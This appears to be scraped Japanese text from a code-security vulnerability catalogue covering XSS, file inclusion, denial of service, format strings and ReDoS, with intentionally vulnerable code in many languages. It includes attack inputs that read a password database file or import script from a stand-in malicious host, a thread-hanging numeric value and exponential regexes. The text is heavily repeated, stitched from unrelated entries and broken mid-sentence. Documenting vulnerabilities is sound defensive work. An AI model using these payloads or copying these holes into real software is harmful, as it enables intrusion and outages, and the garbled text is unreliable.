Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示したように、カスタムの URL スキームからデータが直接読み取られ、UIWebView レスポンスの内容に反映されます。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある iOS アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信されるカスタムスキーム URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるアプリケーションの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてアプリケーションに反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 のように Rack::Request#params() を利用した場合、GET パラメーターと POST パラメーターの両方が表示されます。そのため、悪意のあるコードが URL に追加されるだけでなく、さまざまな種類の攻撃に対して脆弱になる可能性があります。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 では、ユーザー制御可能な UI コンポーネントからデータを直接読み取り、HTTP レスポンスに反映します。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Origin ヘッダーの検証に失敗した場合、サーバーは、悪意あるサイトがユーザーに気づかれずにユーザーを偽装し、双方向 WebSocket 接続を確立することを許可します。Origin ヘッダーの検証に失敗した場合、サーバーは、悪意あるサイトがユーザーに気づかれずにユーザーを偽装し、双方向 WebSocket 接続を確立することを許可します。
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1 では、攻撃者は悪意ある値を includedURL に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。web.config などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB ファイルの内容を JSP ページにレンダリングするため、システムのセキュリティが危険にさらされます。c:import タグが使用され、ユーザーが指定したリモートファイルが現在の JSP ページにインポートされています。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals オプションがデフォルトで有効に設定された状態で頒布されていたため、攻撃者は簡単に内部サーバー変数を上書きできました。register_globals オプションを無効にすることによってプログラムが File Inclusion の脆弱性にさらされる危険性は制限できますが、この問題は最近の PHP アプリケーションでも発生しています。 $server_root と定義されているアプリケーションの下にファイルをインクルードしています。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals が on に設定されている場合、攻撃者はリクエストパラメーターとして $server_root を指定することによって $server_root の値を上書きできるため、動的な include ステートメントを部分的に制御できるようになります。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2 では、攻撃者は悪意ある値を headername に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。/etc/shadow などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter() メソッドが、リモート IP アドレス (RemoteIpAddress) を、RateLimitPartition の作成時にパーティション キーとして使用します。
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future 関数の実行時間を指定できます。大きな数値を指定すると、攻撃者が Future 関数を無期限に拘束する可能性があります。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
例 2: 以下のコードでは、文字列を zip ファイルから読み取ります。このコードでは、
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine() メソッドが使用されているため、読み取られる入力データのサイズに境界が設定されないことになります。攻撃者は、このコードを利用して、OutOfMemoryException を発生させることが可能です。また、大量のメモリを消費させて、プログラムがガベージ コレクションに多くの時間を消費させるようにしたり、後続の操作でメモリ不足を発生させたりすることが可能です。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
例 2: 次のコードは、ファイルに書き込みを行っています。このファイルは、ユーザー エージェントによって閉じられたと判断されるまで継続的に書き込みと再書き込みが実行されることがあるため、ファイルの内容を分析するのに必要なディスク クオータ、IO 帯域幅、およびプロセスが影響を受ける場合があります。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect 関数の接続タイムアウトの期間を指定できます。大きな数値を指定すると、攻撃者が connect 関数を無期限に拘束する可能性があります。
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
例 2: The following code reads a String from a file.このコードでは、
Kernel.sleep(user_input)
readline() メソッドが制限を指定せずに使用されているため、無制限の入力が読み取られます。攻撃者はこのコードを利用し、メモリを大量に使用してプロセスをハングアップさせることができます。最終的にメモリをすべて使い果たすことがあります。
fd = File.new(myFile)
line = fd.readline
Formatter.format() で Format String 引数を指定できます。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException などの例外がスローされる可能性があります。これは try ブロック内で発生した例外ではないため、アプリケーション障害につながる可能性があります。 accountNo が、出力結果の文字列に含まれることになります。java.lang.Double.parseDouble() の実装および関連するメソッドには脆弱性があり、[2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] の範囲にある任意の数をパースするときに、スレッドをハングさせる可能性のある関連メソッドがあります。この不具合は、サービス拒否 (DoS) 攻撃の実行に使用される可能性があります。
Double d = Double.parseDouble(request.getParameter("d"));
d が、"0.0222507385850720119e-00306" などの範囲にある値となっているリクエストを送信して、プログラムがリクエストを処理するときに、ハングさせる可能性があります。
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1 を踏まえると、攻撃者が "eeeeZ" という一致文字列を指定した場合、正規表現パーサーが一致を特定するまでに実行しなくてはならない内部評価は 16 件あります。攻撃者が 16 個の "e" ("eeeeeeeeeeeeeeeeZ") を一致文字列として指定した場合には、正規表現パーサーは 65536 (2^16) 回の評価を実行する必要があります。攻撃者は、連続する一致文字の数を増やすことによって、容易にコンピューティング リソースを消費できます。この脆弱性の影響を受けない既知の正規表現の実装はありません。すべてのプラットフォームと言語がこの攻撃に対して脆弱です。
Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");
child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));
String toInfinity = child.toString();
child と parent の親マーカーを、ユーザー定義のマーカーに設定できます。ユーザーが、child の親を parent と入力し、parent の親を child と入力すると、マーカー データ構造に循環リンクが作成されます。循環リンクを含むデータ構造で再帰的な toString メソッドを実行すると、プログラムはスタック オーバーフロー例外をスローしてクラッシュします。これが、スタックの枯渇によるサービス拒否を引き起こします。StringBuilder または StringBuffer インスタンスに信頼できないデータを追加すると、JVM がヒープ メモリ領域を過剰に消費するようになる可能性があります。StringBuilder または StringBuffer インスタンスにユーザー制御のデータを追加すると、基礎となる配列をユーザーのデータに合わせてサイズ変更するときにアプリケーションが大量のヒープ メモリを消費するようになる可能性があります。StringBuilder または StringBuffer インスタンスにデータが追加されると、インスタンスは、バッキング文字配列にデータを保存できる十分な空き領域があるかどうかを判断します。データが適合しない場合、StringBuilder または StringBuffer インスタンスは前の配列サイズの 2 倍以上の容量を持つ新しい配列を作成します。古い配列はガベージ コレクトされるまでヒープ内に残ります。攻撃者はこの実装の詳細を利用して、Denial of Service (DoS) 攻撃を実行する可能性があります。StringBuilder インスタンスにユーザー制御のデータが追加されます。
...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
